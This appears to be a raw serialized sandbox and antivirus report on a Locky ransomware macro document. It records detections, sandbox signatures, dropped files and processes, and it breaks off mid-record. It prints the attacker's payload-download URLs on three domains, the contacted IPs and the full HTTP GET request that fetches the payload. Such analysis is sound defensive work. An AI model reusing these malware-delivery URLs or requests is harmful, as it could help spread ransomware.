AAAf8AAAH/AAAB/wAAAf8AAAPw==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"b0c9d7430608595b6927553cb7d4d342d5f1f823db7a8885636707dc0ba1de7c","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790335176042,"unified_at":"2026-09-25T11:19:36.042Z","metadata":{"hashes":{"sha256":"b0c9d7430608595b6927553cb7d4d342d5f1f823db7a8885636707dc0ba1de7c","sha1":"67087ae17272760c51ee1452e7abe50408fe87f3","md5":"75f6acb36d485d38592133da0888b310","sha512":"27de43c657463d75b02b7fa9113e638da4cdc97ff98498117395a7ae8d396a104245d00ae0b554f74e0f5c299840396c7e12cbfdfde72a25375edfd05c3c8396","ssdeep":"Unknown","imphash":"Unknown"},"file_info":{"file_name":"ScanData155328.docm","file_type":["docx","office"],"file_type_id":"docx","file_size":80242,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499287267000,"last_seen":1643464754000,"last_multi_scan":1643464754000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["locky","ransomware"]},"stats":{"av":{"malicious_count":12,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":24,"suspicious_count":5,"malicious_count":7,"total":36},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"VBA/Malma","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.4817680","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.4817680 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.VBA.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan-Downloader.Script.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"W97M/Downloader.bsn","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Script.Agent.enoluj","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/PDFDl-J","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"W97M.Downloader","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Suspicious/WOX.DRP.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.DOC.Dropper.GK","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"WINWORD.EXE\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$27","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"super-marv.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"194.9.25.17:80\"\n \"143.95.251.11:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros","description":"$28","origin":"Static Parser","relevance":10,"id":"static-13","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros (normalized)","description":"Normalized macro string: \"http\"\n Normalized macro string: \"Odish.ToggleButton1.Caption,\"\n Normalized macro string: \"super-marv.com/874hvVtrans-atm.com/874hvVsolucionesfenix.net/874hv\"\n Normalized macro string: \"SEECT * FROM in32_VideoController\"","origin":"File/Memory","relevance":10,"id":"string-50","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"WINWORD.EXE\" created file \"%TEMP%\\~DF344FFF6A64C7E731.TMP\"\n \"WINWORD.EXE\" created file \"%TEMP%\\VBE\\MSForms.exd\"\n \"WINWORD.EXE\" created file \"%TEMP%\\ferbys2\"\n \"WINWORD.EXE\" created file \"%TEMP%\\redchip2.exe\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"Local\\10MU_ACB10_S-1-5-5-0-58975\"\n \"IESQMMUTEX_0_208\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\10MU_ACBPIDS_S-1-5-5-0-58975\"\n \"Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"IESQMMUTEX_0_191\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\WininetConnectionMutex\"\n \"Local\\WininetStartupMutex\"\n \"Local\\WininetProxyRegistryMutex\"\n \"Local\\c:!users!nrh0jxt!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"\n \"Local\\c:!users!nrh0jxt!appdata!local!microsoft!windows!history!history.ie5!\"\n \"Local\\ZonesCounterMutex\"\n \"Local\\c:!users!nrh0jxt!appdata!roaming!microsoft!windows!cookies!\"\n \"RasPbFile\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-58975\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"redchip2.exe\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\RICHED20.DLL\" at 68650000","origin":"Loaded Module","id":"module-2","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"$29","origin":"API Call","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"General","name":"Opened the service control manager","description":"\"WINWORD.EXE\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"General","name":"Requested access to a system service","description":"\"WINWORD.EXE\" called \"OpenService\" to access the \"PcaSvc\" service\n \"WINWORD.EXE\" called \"OpenService\" to access the \"RASMAN\" service\n \"WINWORD.EXE\" called \"OpenService\" to access the \"rasman\" service\n \"WINWORD.EXE\" called \"OpenService\" to access the \"Sens\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"WINWORD.EXE\" searching for class \"MSOBALLOON\"\n \"WINWORD.EXE\" searching for class \"MsoHelp10\"\n \"WINWORD.EXE\" searching for class \"AgentAnim\"\n \"WINWORD.EXE\" searching for class \"mspim_wnd32\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"ntvdm.exe\" with commandline \"-i1\" (UID: 00017447-00003748)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"4066244.cvr\" has type \"data\"\n \"ScanData155328.LNK\" has type \"MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Mon Apr 10 20:09:30 2017 mtime=Mon Apr 10 20:09:30 2017 atime=Mon Apr 10 20:10:02 2017 length=80242 window=hide\"\n \"index.dat\" has type \"data\"\n \"ferbys2\" has type \"HTML document ASCII text with no line terminators\"\n \"~$anData155328.docm\" has type \"data\"\n \"redchip2.exe\" has type \"data\"\n \"~WRS{BB03F800-CBB0-4810-A089-8D6E41D5D4DE}.tmp\" has type \"data\"\n \"~WRS{25996F2D-D010-4A0D-8FD0-077C4A8E164F}.tmp\" has type \"data\"\n \"874hv[1]\" has type \"HTML document ASCII text with no line terminators\"\n \"MSForms.exd\" has type \"data\"\n \"scsAB3F.tmp\" has type \"ASCII text with CRLF line terminators\"\n \"scsAB4A.tmp\" has type \"DOS batch file ASCII text with CRLF line terminators\"\n \"~$Normal.dotm\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2a","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"super-marv.com/874hvVtrans-atm.com/874hvVsolucionesfenix.net/874hv\"\n Heuristic match: \"super-marv.com\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"\n \"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"","origin":"Hook Detection","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WINWORD.EXE\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2b","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"$2c","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Found URL in decoded VBA string","description":"Pattern match: \"super-marv.com/874hvVtrans-atm.com/874hvVsolucionesfenix.net/874hv\"","origin":"File/Memory","relevance":10,"id":"string-18","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"suspicious","category":"Network Related","name":"Contacts Random Domain Names","description":"\"super-marv.com\" seems to be random","origin":"Network Traffic","relevance":5,"id":"network-6","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): \"Mozilla/5.2 (Windows NT 6.2; rv:50.2) Gecko/20200103 Firefox/50.2\"","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with interesting strings","description":"Found pattern type \"Executable file name\" with value: \"Excel.Application\"\n Found pattern type \"Executable file name\" with value: \"marv.com\"\n Found pattern type \"Executable file name\" with value: \"atm.com\"","origin":"Static Parser","relevance":10,"id":"static-16","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with suspicious keywords","description":"Found suspicious keyword \"CallByName\" which indicates: \"May attempt to obfuscate malicious function calls\"\n Found suspicious keyword \"Write\" which indicates: \"May write to a file (if combined with Open)\"\n Found suspicious keyword \"Open\" which indicates: \"May open a file\"\n Found suspicious keyword \"Xor\" which indicates: \"May attempt to obfuscate specific strings\"\n Found suspicious keyword \"User-Agent\" which indicates: \"May download files from the Internet\"\n Found suspicious keyword \"CreateObject\" which indicates: \"May create an OLE object\"\n Found suspicious keyword \"ActiveWorkbook.SaveAs\" which indicates: \"May save the current workbook\"\n Found suspicious keyword \"Binary\" which indicates: \"May read or write a binary file (if combined with Open)\"\n Found suspicious keyword \"Put\" which indicates: \"May write to a file (if combined with Open)\"\n Found suspicious keyword \"command\" which indicates: \"May run PowerShell commands\"","origin":"Static Parser","relevance":10,"id":"static-15","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"malicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET TROJAN Possible Locky JS Downloading Payload Dec 06 2016\" (SID: 2023583, Rev: 3, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"10/57 Antivirus vendors marked sample as malicious (17% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"malicious","category":"General","name":"Document spawns new processes","description":"Document spawned a new process (macro present)","origin":"Indicator Combinations","relevance":7,"id":"summary-3","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"malicious","category":"General","name":"GETs files from a webserver","description":"\"GET /874hv HTTP/1.1\nAccept: */*\nAccept-Language: en-us\nUser-Agent: \"Mozilla/5.2 (Windows NT 6.2; rv:50.2) Gecko/20200103 Firefox/50.2\"\nAccept-Encoding: gzip, deflate\nHost: super-marv.com\nConnection: Keep-Alive\"","origin":"Network Traffic","relevance":10,"id":"network-16","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"Found malicious artifacts related to \"194.9.25.17\" (ASN: 24724, Owner: ATM S.A.): ...\nFile SHA256: 79ad2f86e345314436c0a2125de307cf2490e7ed73f34ec942d41897af7042f7 (AV positives: 42/62 scanned on 04/09/2017 18:53:01)\n File SHA256: 52e1a00e10dbbb218d543476eaf5068afde6ec8ffc228b28f7069bf6c84d172e (AV positives: 42/61 scanned on 04/09/2017 18:42:27)\n File SHA256: 3882aeb18f23fcfacaed836a3bf7152b877b457029b9dbcce65e351e8d5a1d81 (AV positives: 41/62 scanned on 03/31/2017 14:23:53)\n File SHA256: df6782ef745026659389317e3aea152d1989c112a7821fd73622eedaf2a24930 (AV positives: 33/62 scanned on 03/24/2017 10:53:49)\n File SHA256: 14961222ee4651c89ff1c4fb669c1c189b40f855b46955670bb813fa76dcfe81 (AV positives: 42/62 scanned on 03/24/2017 09:38:30)","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with keywords that indicate auto-execute behavior","description":"Found keyword \"AutoOpen\" which indicates: \"Runs when the Word document is opened\"\n Found keyword \"Document_Open\" which indicates: \"Runs when the Word document is opened\"","origin":"Static Parser","relevance":10,"id":"static-14","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Document analysis contacts a domain","description":"Often seen on documents with macro droppers\n embedded files or exploits","origin":"Indicator Combinations","relevance":3,"id":"summary-1","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]}],"incidents":[{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":35,"imported_dlls_count":125,"dropped_files_count":0,"extracted_files_count":13,"files_written_count":102,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["locky","ransomware"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"58eb83cfaac2edd25281f653","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Virus.office.obfuscated","contacted_countries":["POL","USA"],"submit_name":"ScanData155328.docm","analysis_start_time":"2017-04-10T14:09:13+00:00","indicators_count":{"informative":24,"suspicious":5,"malicious":8},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"194.9.25.17","port":80,"protocol":"TCP","country":"Poland","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"address":"143.95.251.11","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]}],"dns_resolutions":[{"domain":"super-marv.com","address":"143.95.251.11","country":"United States","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]}],"http_requests":[{"host":"super-marv.com","host_ip":"143.95.251.11:80","url":"/874hv","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /874hv HTTP/1.1\nAccept: */*\nAccept-Language: en-us\nUser-Agent: \"Mozilla/5.2 (Windows NT 6.2; rv:50.2) Gecko/20200103 Firefox/50.2\"\nAccept-Encoding: gzip, deflate\nHost: super-marv.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}],"processes":[{"pid":3320,"ppid":0,"name":"WINWORD.EXE","command_line":"/n \"C:\\ScanData155328.docm\"","sha256":"8cfb55087fa8e4c1e7bcc580d767cf2c884c1b8c890ad240c1e7009810af6736","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE","uid":"00016487-00003320","icon":"$2d"},{"pid":3748,"ppid":3320,"name":"ntvdm.exe","command_line":"-i1","sha256":"7790fd858e5fe32d98a85d143cb656f8cce39395b2e5a0401242b1382d8733f6","normalized_path":"%WINDIR%\\System32\\ntvdm.exe","parent_uid":"00016487-00003320","uid":"00017447-00003748","icon":"$2e"}],"all_imported_dlls":["OART.DLL","WWINTL.DLL","rasman.dll","rsaenh.dll","profapi.dll","ntdll.dll","msvcr90.dll","rpcrt4.dll","powrprof.dll","sxs.dll","prntvpt.dll","msproof7.dll","uxtheme.dll","Wldap32.dll","mswsock.dll","advapi32.dll","sechost.dll","wtsapi32.dll","cfgmgr32.dll","msxml3.dll","vfprint.dll","ntmarta.dll","mpr.dll","nlaapi.dll","SendToOneNoteUI.dll","msvcrt.dll","MSOINTL.DLL","sspicli.dll","SensApi.dll","sfc.dll","oleaut32.dll","rasadhlp.dll","KernelBase.dll","RICHED20.DLL","wship6.dll","mxdwdrv.dll","cryptsp.dll","fontsub.dll","lpk.dll","msimg32.dll","setupapi.dll","ieframe.dll","ntshrui.dll","rasapi32.dll","WSHTCPIP.DLL","vdmredir.dll","WWLIB.DLL","GFX.DLL","MSORES.DLL","rpcss.dll","USP10.DLL","msxml6.dll","rtutils.dll","MSPTLS.DLL","iertutil.dll","psapi.dll","msado15.dll","MSO.DLL","VBE7.DLL","normaliz.dll","winmm.dll","msi.dll","mscoreei.dll","propsys.dll","dnsapi.dll","FWPUCLNT.DLL","imm32.dll","clbcatq.dll","slc.dll","VBE7INTL.DLL","msdart.dll","winrnr.dll","version.dll","kernel32.dll","ole32.dll","ws2_32.dll","WinSCard.dll","winhttp.dll","webio.dll","ntvdmd.dll","msctf.dll","msasn1.dll","IPHLPAPI.DLL","pnrpnsp.dll","wkscli.dll","msxml6r.dll","oleaccrc.dll","gdi32.dll","mscoree.dll","wininet.dll","FM20.DLL","user32.dll","cryptbase.dll","RpcRtRemote.dll","mlang.dll","dwmapi.dll","oleacc.dll","comdlg32.dll","NapiNSP.dll","devrtl.dll","apphelp.dll","comctl32.dll","linkinfo.dll","scrrun.dll","netutils.dll","shlwapi.dll","nsi.dll","OSPPC.DLL","FM20ENU.DLL","urlmon.dll","GdiPlus.dll","msxml3r.dll","sfc_os.dll","WindowsCodecs.dll","cscapi.dll","winnsi.dll","netapi32.dll","unidrvui.dll","shell32.dll","devobj.dll","crypt32.dll","srvcli.dll","MSGR3EN.DLL","usp10.dll","OSPPCEXT.DLL"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"redchip2.exe","sha256":"d06823623674a3a4567f04a90e877b58e5131b8ebb35e18a74290837da8c159e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"ScanData155328.LNK","sha256":"61002c94268bc12a7556846cc21274f411327e82435f4386dc4defb9578a8eea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"~$Normal.dotm","sha256":"7198d8609ceb36f750959c5637eb341238752b947c7f64dcf69ed4545e9ae064","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"index.dat","sha256":"d6cefc21f6efbec210c49bbea50fc12a1079698eafa886e4078e84fa85ef4b3d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"874hv[1]","sha256":"04b93a946b2c69970d2cc370bbd60fd28cf7df3c3b0b81c8dea3579d85469659","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"~WRS{25996F2D-D010-4A0D-8FD0-077C4A8E164F}.tmp","sha256":"64de688544571cd4bc8adc391f67e0819eab76906fe985537feedfbe776de5d9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"~WRS{BB03F800-CBB0-4810-A089-8D6E41D5D4DE}.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"58eb83cfaac2edd25281f653"}]},{"name":"MSForms.exd","sha256":"d574c7aa13d61137d8f3622817b49e79efaa576a2435b985be43d0be3cfd971f","verdict":"undetected","sources":[{"report_type":"sand